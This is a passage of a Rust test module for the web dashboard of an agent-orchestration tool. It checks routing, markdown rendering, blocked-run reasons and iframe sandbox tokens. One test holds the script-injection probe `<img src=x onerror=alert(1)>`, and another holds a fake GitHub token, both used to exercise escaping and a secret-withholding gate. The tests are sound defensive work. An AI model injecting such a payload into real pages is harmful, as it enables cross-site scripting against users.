19498        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19499        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19500        let j_empty = res_empty.json();
19501        let judging_empty = j_empty["sections"]
19502            .as_array()
19503            .unwrap()
19504            .iter()
19505            .find(|s| s["kind"] == "judging")
19506            .expect("judging section exists");
19507        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19508    }
19509
19510    #[tokio::test]
19511    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19512        let f = Fixture::start().await;
19513
19514        let html = f.get("/").await;
19515        let css = f.get("/app.css").await;
19516        let js = f.get("/app.js").await;
19517
19518        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19519        assert!(
19520            html.headers
19521                .contains("content-type: text/html; charset=utf-8")
19522        );
19523        assert!(css.headers.contains("content-type: text/css"));
19524        assert!(js.headers.contains("content-type: text/javascript"));
19525        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19526    }
19527
19528    #[test]
19529    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19530        let body = |name: &str| {
19531            let at = APP_JS
19532                .find(name)
19533                .unwrap_or_else(|| panic!("{name} missing"));
19534            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19535        };
19536        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19537        let note = body("function landRoundNote");
19538        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19539        assert!(note.contains("Land round ${round}"));
19540        let land = body("function renderLand");
19541        let note_at = land
19542            .find("landRoundNote(pr)")
19543            .expect("renderLand uses the note");
19544        assert!(
19545            note_at
19546                < land
19547                    .find("roundRail(pr)")
19548                    .expect("renderLand uses the rail")
19549        );
19550    }
19551
19552    #[test]
19553    fn the_runs_page_redesign_keeps_its_guards() {
19554        let body = |name: &str| {
19555            let at = APP_JS
19556                .find(name)
19557                .unwrap_or_else(|| panic!("{name} missing"));
19558            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19559        };
19560        // A null child must never reach the native append (it prints "null").
19561        let land = body("function renderLand");
19562        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19563        assert!(
19564            !land.contains("box.append("),
19565            "renderLand must use append()"
19566        );
19567        assert!(land.contains("append(box, ["));
19568        // Tabs are hash routes; the run id alone decides a reload.
19569        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19570        assert!(
19571            body("function applyRoute")
19572                .contains("route.name !== state.route.name || route.id !== state.route.id")
19573        );
19574        // The decorative diagram is gone, the strip and its guards stay.
19575        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19576        assert!(!INDEX_HTML.contains("advise-converge"));
19577        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19578        assert!(APP_JS.contains("provisional"));
19579        for id in [
19580            "run-tab-overview",
19581            "run-tab-timeline",
19582            "run-tab-report",
19583            "run-report",
19584            "runs-scope",
19585        ] {
19586            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19587        }
19588        assert!(!INDEX_HTML.contains("runs-tree"));
19589        assert!(!INDEX_HTML.contains("run-raw-panel"));
19590        // Fold still says it cannot be resumed.
19591        assert!(APP_JS.contains("resume"));
19592        // The unreadable-runs count stays on the page.
19593        assert!(APP_JS.contains("unreadable"));
19594    }
19595
19596    #[test]
19597    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19598        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19599        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19600        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19601        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19602        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19603        // The subtitle still counts them whatever the banner does.
19604        assert!(APP_JS.contains("unreadable` : null"));
19605    }
19606
19607    #[test]
19608    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19609        let mut state = RunState::new(
19610            "/repo".into(),
19611            "main".into(),
19612            "abc".into(),
19613            "task".into(),
19614            crate::config::Config::default(),
19615        );
19616        state.status = RunStatus::Blocked;
19617        state.gate_ran = true;
19618        state.gate.push(crate::run::CommandOutcome {
19619            command: "cargo make check".into(),
19620            code: Some(1),
19621            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19622            duration_ms: 0,
19623            resource_blocked: false,
19624        });
19625        let view = RunDetailView::of(
19626            state,
19627            false,
19628            crate::run::Liveness::Unknown,
19629            None,
19630            None,
19631            None,
19632        );
19633        let value = serde_json::to_value(view).unwrap();
19634        assert_eq!(
19635            value["stop_reason"],
19636            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19637        );
19638    }
19639
19640    #[test]
19641    fn the_run_detail_payload_says_whether_the_run_is_done() {
19642        // `landView` reads `run.done`; the detail response must carry it.
19643        for (status, done) in [
19644            (RunStatus::Superseded, true),
19645            (RunStatus::Blocked, true),
19646            (RunStatus::Landing, false),
19647        ] {
19648            let mut state = RunState::new(
19649                std::path::PathBuf::from("/repo"),
19650                "main".to_owned(),
19651                "abc".to_owned(),
19652                "x".to_owned(),
19653                crate::config::Config::default(),
19654            );
19655            state.status = status;
19656            let v = serde_json::to_value(RunDetailView::of(
19657                state,
19658                false,
19659                crate::run::Liveness::Unknown,
19660                None,
19661                None,
19662                None,
19663            ))
19664            .unwrap();
19665            assert_eq!(v["done"], done, "{status:?}");
19666        }
19667    }
19668
19669    /// The first node of a markdown block holds a `strong` somewhere.
19670    fn has_strong(nodes: &[md::Node]) -> bool {
19671        serde_json::to_string(nodes).unwrap().contains("strong")
19672    }
19673
19674    #[test]
19675    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19676        let mut state = RunState::new(
19677            std::path::PathBuf::from("/repo"),
19678            "main".to_owned(),
19679            "abc".to_owned(),
19680            "x".to_owned(),
19681            crate::config::Config::default(),
19682        );
19683        let proposal = |approach: &str| {
19684            serde_json::json!({
19685                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19686            })
19687        };
19688        state.advice = Some(
19689            serde_json::from_value(serde_json::json!({
19690                "records": [
19691                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19692                     "proposal": proposal("do **this**")},
19693                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19694                ],
19695                "synthesis": "- one\n- **two**\n\n`code`",
19696            }))
19697            .unwrap(),
19698        );
19699        state.candidates = serde_json::from_value(serde_json::json!([
19700            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19701             "summary": "did **it**"},
19702            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19703        ]))
19704        .unwrap();
19705        // Recorded in ascending severity, the reverse of how the page sorts
19706        // them: the arrays must follow the record, not the display.
19707        state.reviews = serde_json::from_value(serde_json::json!([{
19708            "round": 1, "head": "h",
19709            "reviews": [{
19710                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19711                "findings": [
19712                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19713                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19714                ],
19715            }],
19716            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19717            "fix": {"agent": "a", "notes": "fixed **it**",
19718                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19719        }, {"round": 2, "head": "h2", "reviews": []}]))
19720        .unwrap();
19721
19722        let v = serde_json::to_value(RunDetailView::of(
19723            state,
19724            false,
19725            crate::run::Liveness::Unknown,
19726            None,
19727            None,
19728            None,
19729        ))
19730        .unwrap();
19731
19732        let strong = |p: &str| {
19733            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19734            assert!(n.to_string().contains("strong"), "{p}: {n}");
19735        };
19736        strong("/advice_md/synthesis");
19737        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19738        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19739        strong("/advice_md/approaches/0");
19740        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19741        strong("/candidate_summaries_md/0");
19742        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19743        strong("/reviews_md/0/reviewers/0/summary");
19744        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19745        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19746        assert!(f[1].to_string().contains("strong"));
19747        strong("/reviews_md/0/reconsideration/0");
19748        strong("/reviews_md/0/fix/notes");
19749        strong("/reviews_md/0/fix/rejected/0");
19750        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19751        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19752        // The raw strings stay, and no schema moved.
19753        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19754        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19755    }
19756
19757    #[test]
19758    fn a_run_without_advice_has_no_advice_md() {
19759        let state = RunState::new(
19760            std::path::PathBuf::from("/repo"),
19761            "main".to_owned(),
19762            "abc".to_owned(),
19763            "x".to_owned(),
19764            crate::config::Config::default(),
19765        );
19766        let p = run_prose_md(&state);
19767        assert!(p.advice_md.is_none());
19768        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19769    }
19770
19771    #[test]
19772    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19773        let store = ask::Questions::at(PathBuf::from("unused"));
19774        let gt = crate::github_text::Withheld {
19775            title: false,
19776            body: true,
19777            categories: vec!["sensitive-data".into()],
19778        };
19779        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19780        let (detail, comparison) =
19781            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19782        let mut q = Question::new(
19783            "r".into(),
19784            "github-text".into(),
19785            "posting-gate".into(),
19786            "s".into(),
19787            detail,
19788            Vec::new(),
19789        );
19790        assert!(
19791            QuestionView::of(q.clone(), &store, None)
19792                .posting_view
19793                .is_none()
19794        );
19795        q.posting_comparison = Some(comparison);
19796        let view = QuestionView::of(q.clone(), &store, None);
19797        let field = &view.posting_view.unwrap().fields[0];
19798        assert_eq!(
19799            field
19800                .original
19801                .iter()
19802                .map(|f| f.text.as_str())
19803                .collect::<String>(),
19804            body
19805        );
19806        assert!(field.original[0].text.starts_with("<img"));
19807        let original_question: Question =
19808            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19809        assert_eq!(original_question, q);
19810        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19811            .original
19812            .start = 1;
19813        assert!(
19814            QuestionView::of(q.clone(), &store, None)
19815                .posting_view
19816                .is_none()
19817        );
19818        q.posting_comparison = original_question.posting_comparison;
19819        q.detail.push_str("extra context");
19820        assert!(
19821            QuestionView::of(q.clone(), &store, None)
19822                .posting_view
19823                .is_some()
19824        );
19825        q.detail.insert(0, 'x');
19826        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19827    }
19828
19829    #[test]
19830    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19831        let store = ask::Questions::at(PathBuf::from("unused"));
19832        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19833        let gt = crate::github_text::Withheld::from_check(
19834            &crate::github_text::check("fix: x", body),
19835            "fix: x",
19836            body,
19837        )
19838        .unwrap();
19839        let (detail, comparison) =
19840            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19841        let mut q = Question::new(
19842            "r".into(),
19843            "github-text".into(),
19844            "posting-gate".into(),
19845            "s".into(),
19846            detail,
19847            Vec::new(),
19848        );
19849        q.posting_comparison = Some(comparison);
19850        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19851        let field = &value["posting_view"]["fields"][0];
19852        let group = &field["replacement_group"];
19853        let triggers = group["triggers"].as_array().unwrap();
19854        assert_eq!(triggers.len(), 2);
19855        assert_ne!(triggers[0], triggers[1]);
19856        for id in triggers {
19857            assert!(
19858                field["original"]
19859                    .as_array()
19860                    .unwrap()
19861                    .iter()
19862                    .any(|f| &f["pair"] == id)
19863            );
19864            assert!(
19865                !field["changed"]
19866                    .as_array()
19867                    .unwrap()
19868                    .iter()
19869                    .any(|f| &f["pair"] == id)
19870            );
19871        }
19872        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19873            group["id"].as_u64().unwrap() as usize;
19874        assert!(
19875            QuestionView::of(q, &store, None).posting_view.is_none(),
19876            "group and trigger IDs cannot collide"
19877        );
19878    }
19879
19880    #[test]
19881    fn a_question_view_carries_markdown_for_each_thread_turn() {
19882        let home = TempDir::new().unwrap();
19883        let store = ask::Questions::at(home.path().join("questions"));
19884        let mut q = Question::new(
19885            "run".to_owned(),
19886            "implement".to_owned(),
19887            "impl-A".to_owned(),
19888            "which?".to_owned(),
19889            String::new(),
19890            Vec::new(),
19891        );
19892        q.say("plain words").unwrap();
19893        q.reply("use **this**", Vec::new()).unwrap();
19894        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19895        let bodies = &v["thread_bodies_md"];
19896        assert_eq!(bodies.as_array().unwrap().len(), 2);
19897        assert!(!bodies[0].to_string().contains("strong"));
19898        assert!(bodies[1].to_string().contains("strong"));
19899    }
19900
19901    #[test]
19902    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19903        let home = TempDir::new().unwrap();
19904        let store = ask::Questions::at(home.path().join("questions"));
19905        let mut q = Question::new(
19906            "run".to_owned(),
19907            "conduct".to_owned(),
19908            "conduct".to_owned(),
19909            "which?".to_owned(),
19910            String::new(),
19911            Vec::new(),
19912        );
19913        q.say("plain words").unwrap();
19914        q.thread.push(ask::Turn {
19915            who: ask::Who::Agent,
19916            body: "Settled as `merge`".to_owned(),
19917            at: jiff::Timestamp::now(),
19918            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19919        });
19920        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19921        let notes = &v["thread_notes_md"];
19922        assert_eq!(notes.as_array().unwrap().len(), 2);
19923        assert!(notes[0].is_null());
19924        let text = notes[1].to_string();
19925        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19926        assert!(APP_JS.contains("ask-turn-note"));
19927    }
19928
19929    #[test]
19930    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19931        // The land panel defers to `run.status` for merged, and labels a
19932        // recorded-open PR on any finished run (superseded, blocked, ...) as
19933        // last seen, never as live state.
19934        assert!(APP_JS.contains("function landView(run, raw) {"));
19935        assert!(
19936            APP_JS.contains(
19937                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19938            )
19939        );
19940        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19941        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19942        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19943        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19944    }
19945
19946    #[test]
19947    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19948        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19949        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19950        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19951        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19952    }
19953
19954    #[test]
19955    fn review_rounds_label_a_distinct_verified_head() {
19956        assert!(APP_JS.contains("round.verified_head"));
19957        assert!(APP_JS.contains("verified HEAD"));
19958        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19959    }
19960
19961    #[test]
19962    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19963        // A blocked task's chip and note must not fall back to a queued-like
19964        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19965        // itself by e11fc58 but never checked here.
19966        assert!(APP_JS.contains("blocked: { glyph:"));
19967        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19968
19969        // `blocked_by` mixes task ids and question ids in the same list, and
19970        // the client can only tell them apart by checking each id against
19971        // what it actually knows - never by guessing from the id's shape.
19972        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19973        assert!(
19974            APP_JS.contains(
19975                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19976            ),
19977            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19978        );
19979        // The classification must key off `status_str`, never off `blocked_by`
19980        // or `block_reason` merely being present - both can survive briefly
19981        // on a task a hold or a dead daemon just moved off `blocked`.
19982        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19983
19984        // A question a task is blocked on gets its own node in the same
19985        // dependency graph, not just a task-shaped node with nothing known
19986        // about it.
19987        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19988        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19989        assert!(
19990            APP_JS.contains("location.hash = \"#/questions\";"),
19991            "a question node must jump to the Questions screen, not pretend to be a task"
19992        );
19993
19994        // `Task::answers` - decisions already made - are shown as a record on
19995        // the card, the same disclosure style as the full instruction.
19996        assert!(APP_JS.contains("Resolved questions"));
19997        assert!(APP_JS.contains("r.answersList.append("));
19998        assert!(APP_CSS.contains(".task-answers"));
19999        {
20000            let start = APP_JS
20001                .find("function updateTalkTaskRow")
20002                .expect("updateTalkTaskRow");
20003            let body = &APP_JS[start..];
20004            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20005            assert!(
20006                body.contains(
20007                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20008                ),
20009                "a chat-filed task row must link to the task page"
20010            );
20011            assert!(
20012                !body.contains("#/runs/") && !body.contains("#/queue/"),
20013                "the row must not branch to a run or the queue card"
20014            );
20015            assert!(APP_CSS.contains(".talk-task-link"));
20016        }
20017    }
20018
20019    #[test]
20020    fn a_task_notification_links_to_the_task_page() {
20021        // A task notice opens the task detail page, not the Backlog card.
20022        let start = APP_JS
20023            .find("function noticeLink(")
20024            .expect("noticeLink exists");
20025        let body = &APP_JS[start..];
20026        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20027        assert!(
20028            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20029            "a task notice's link must target the task page"
20030        );
20031        assert!(
20032            !body.contains("#/queue/"),
20033            "regression: the task link must not go back to the Backlog route"
20034        );
20035        assert!(
20036            APP_JS.contains(
20037                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20038            ),
20039            "`#/tasks/<id>` must parse into the task route"
20040        );
20041
20042        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20043        assert!(
20044            APP_JS.contains(
20045                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20046            ),
20047            "`#/queue/<id>` must parse into a route carrying that id"
20048        );
20049
20050        // And the Backlog view has to actually land on the card once it can
20051        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20052        // so a focus set before the queue has loaded is retried once it has.
20053        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20054        assert!(APP_JS.contains("function consumeQueueFocus()"));
20055        assert!(APP_JS.contains("jumpToTask(id)"));
20056    }
20057
20058    #[test]
20059    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20060        let start = APP_JS
20061            .find("function noticeCoveredBy(")
20062            .expect("noticeCoveredBy exists");
20063        let body = &APP_JS[start..];
20064        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20065
20066        // Historical associations are informational, even for open questions.
20067        assert!(body.contains("Associated question ${short}"));
20068        assert!(!body.contains("el(\"a\""));
20069
20070        // A resolved question displays status rather than an actionable link
20071        assert!(body.contains("(resolved)"));
20072        assert!(body.contains("(closed)"));
20073
20074        let start = APP_JS
20075            .find("function renderNotifications()")
20076            .expect("renderNotifications exists");
20077        let body = &APP_JS[start..];
20078        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20079
20080        // Only a server-resolved answerable question supplies a response link.
20081        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20082        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20083        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20084        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20085    }
20086
20087    /// Chat rows are two lines at every width: the title alone, then the
20088    /// shrinkable secondary info.
20089    #[test]
20090    fn chat_rows_put_the_title_alone_on_the_first_line() {
20091        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20092        assert!(APP_CSS.contains(
20093            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20094        ));
20095        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20096        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20097    }
20098
20099    #[test]
20100    fn run_rows_put_the_title_alone_on_the_first_line() {
20101        assert!(
20102            APP_CSS.contains(
20103                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20104            )
20105        );
20106        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20107        assert!(APP_JS.contains("class: \"card run-card\""));
20108        assert!(APP_JS.contains("class: \"repo run-id\""));
20109    }
20110
20111    /// Wide screens get a master/detail layout built from the views a phone
20112    /// drills into. These are string assertions: they pin the contract between
20113    /// the three assets, not how it looks.
20114    #[test]
20115    fn wide_screens_show_list_and_preview_side_by_side() {
20116        // One breakpoint, spelled the same in the script and the stylesheet.
20117        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20118        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20119        assert!(APP_CSS.contains("main[data-split]"));
20120        assert!(APP_CSS.contains("body[data-split]"));
20121
20122        // The route -> panes table, and a narrow screen opting out of it.
20123        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20124        assert!(
20125            APP_JS.contains(
20126                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20127            )
20128        );
20129        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20130        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20131        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20132
20133        // Selection is derived from the route, and only ever paints a row.
20134        assert!(APP_JS.contains("function markSelected() {"));
20135        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20136        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20137        // The dense row must override the stacked card the 720px block sets up.
20138        assert!(
20139            APP_CSS.contains(
20140                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20141            )
20142        );
20143
20144        // Independent scrolling: the page stops scrolling, each pane does.
20145        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20146        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20147        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20148        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20149
20150        // A refresh must never navigate: the loaders still check that their
20151        // subject is the one on screen, and crossing the breakpoint only
20152        // re-reads the hash.
20153        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20154        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20155        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20156        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20157
20158        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20159        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20160    }
20161
20162    #[test]
20163    fn panel_sandbox_carries_exactly_popups() {
20164        let needle = "sandbox: \"";
20165        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20166        assert_eq!(
20167            matches.len(),
20168            1,
20169            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20170        );
20171        let start = matches[0].0 + needle.len();
20172        let end = APP_JS[start..]
20173            .find('"')
20174            .expect("sandbox attribute value must be terminated by a closing quote");
20175        let val = &APP_JS[start..start + end];
20176        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20177        let expected: std::collections::BTreeSet<&str> =
20178            ["allow-popups", "allow-popups-to-escape-sandbox"]
20179                .into_iter()
20180                .collect();
20181        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20182        assert!(
20183            !tokens.contains("allow-scripts"),
20184            "allow-scripts must never be present in sandbox"
20185        );
20186        assert!(
20187            !tokens.contains("allow-same-origin"),
20188            "allow-same-origin must never be present in sandbox"
20189        );
20190    }
20191
20192    #[test]
20193    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20194        // consumeQueueFocus() clears an active Backlog search before it can
20195        // scroll to the target card (the sections list is hidden while a
20196        // search is showing), by recursing back into renderQueue(). The
20197        // fixer's first cut nulled state.queueFocus before that recursive
20198        // call, so the second pass saw nothing to jump to and the jump was
20199        // silently dropped whenever a notification's link was opened with a
20200        // stale search still active. state.queueFocus must only be cleared
20201        // right before jumpToTask() actually runs.
20202        assert!(
20203            APP_JS.contains(
20204                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20205            ),
20206            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20207             recursive renderQueue() call has nothing left to jump to"
20208        );
20209        assert!(
20210            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20211            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20212             arrives later still gets it"
20213        );
20214        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20215        assert!(APP_JS.contains("is not in the current Backlog."));
20216        assert!(APP_JS.contains("li.card[data-task-id=\""));
20217        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20218        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20219        assert!(APP_CSS.contains(".card-permalink"));
20220        assert!(APP_CSS.contains(".queue-focus-status"));
20221        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20222    }
20223
20224    #[test]
20225    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20226        // The task's own repro: only the link text inside .notice-meta was
20227        // clickable, so a tap on the message, the timestamp, or the card's
20228        // padding did nothing - on a phone that reads as "the card doesn't
20229        // work" even though the tiny link inside it did. Mark read / Dismiss
20230        // must keep working independently of this: `.closest("a, button")`
20231        // is what lets a tap that actually lands on those elements fall
20232        // through instead of being hijacked into a navigation.
20233        assert!(
20234            APP_JS.contains(
20235                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20236            ),
20237            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20238        );
20239    }
20240
20241    #[test]
20242    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20243        assert!(
20244            APP_JS.contains("round.verified_head !== round.head"),
20245            "a round that verified an earlier commit must be visibly distinct from one that \
20246             verified the head reviewers are looking at now"
20247        );
20248        assert!(
20249            APP_JS.contains("round.verified_at"),
20250            "when a check ran must be on the wire, not just which commit"
20251        );
20252        assert!(
20253            APP_JS.contains("resource_blocked"),
20254            "a command magi never got to run (shared build cache contention) must not render \
20255             the same as a command that ran and failed"
20256        );
20257    }
20258
20259    #[test]
20260    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20261        // Every KPI tile but Total runs and Completion names an exact
20262        // RunStatus and hands it to openRunsFiltered(), which is what wires
20263        // the click into state.runsFilter.status (matchesFilter's own
20264        // status check) rather than the coarser runsStateFilter chips. Each
20265        // status literal here must be one of the strings runSection() (and
20266        // isStale()) actually compare a run's own `status` field against -
20267        // a status this dashboard invented would filter to nothing.
20268        assert!(
20269            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20270            "every KPI tile built through statusTile() must route its click through \
20271             openRunsFiltered, the single place that sets the Runs filter"
20272        );
20273        for (label, status) in [
20274            ("Merged", "merged"),
20275            ("Ready", "ready"),
20276            ("Blocked", "blocked"),
20277            ("Stalled", "stalled"),
20278        ] {
20279            let call = format!("statusTile(\"{label}\", t.{status}, ");
20280            assert!(
20281                APP_JS.contains(&call),
20282                "expected the {label} KPI tile built via {call}..."
20283            );
20284            assert!(
20285                APP_JS.contains(&format!("status === \"{status}\"")),
20286                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20287                 compare a run against, not one invented only for the stats tile"
20288            );
20289        }
20290        assert!(
20291            APP_JS.contains("function openRunsFiltered(status)"),
20292            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20293        );
20294        assert!(
20295            APP_JS.contains(
20296                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20297            ),
20298            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20299        );
20300        // applyRoute() only flips which view is visible for a plain `#runs`
20301        // hash - it does not itself redraw the list (see applyRoute's own
20302        // handling below) - so openRunsFiltered must call renderRuns()
20303        // itself, and must call applyRoute() too so the view flips even
20304        // when the hash string doesn't change (the operator may already be
20305        // on the Runs view when a tile is tapped, which fires no
20306        // hashchange event at all).
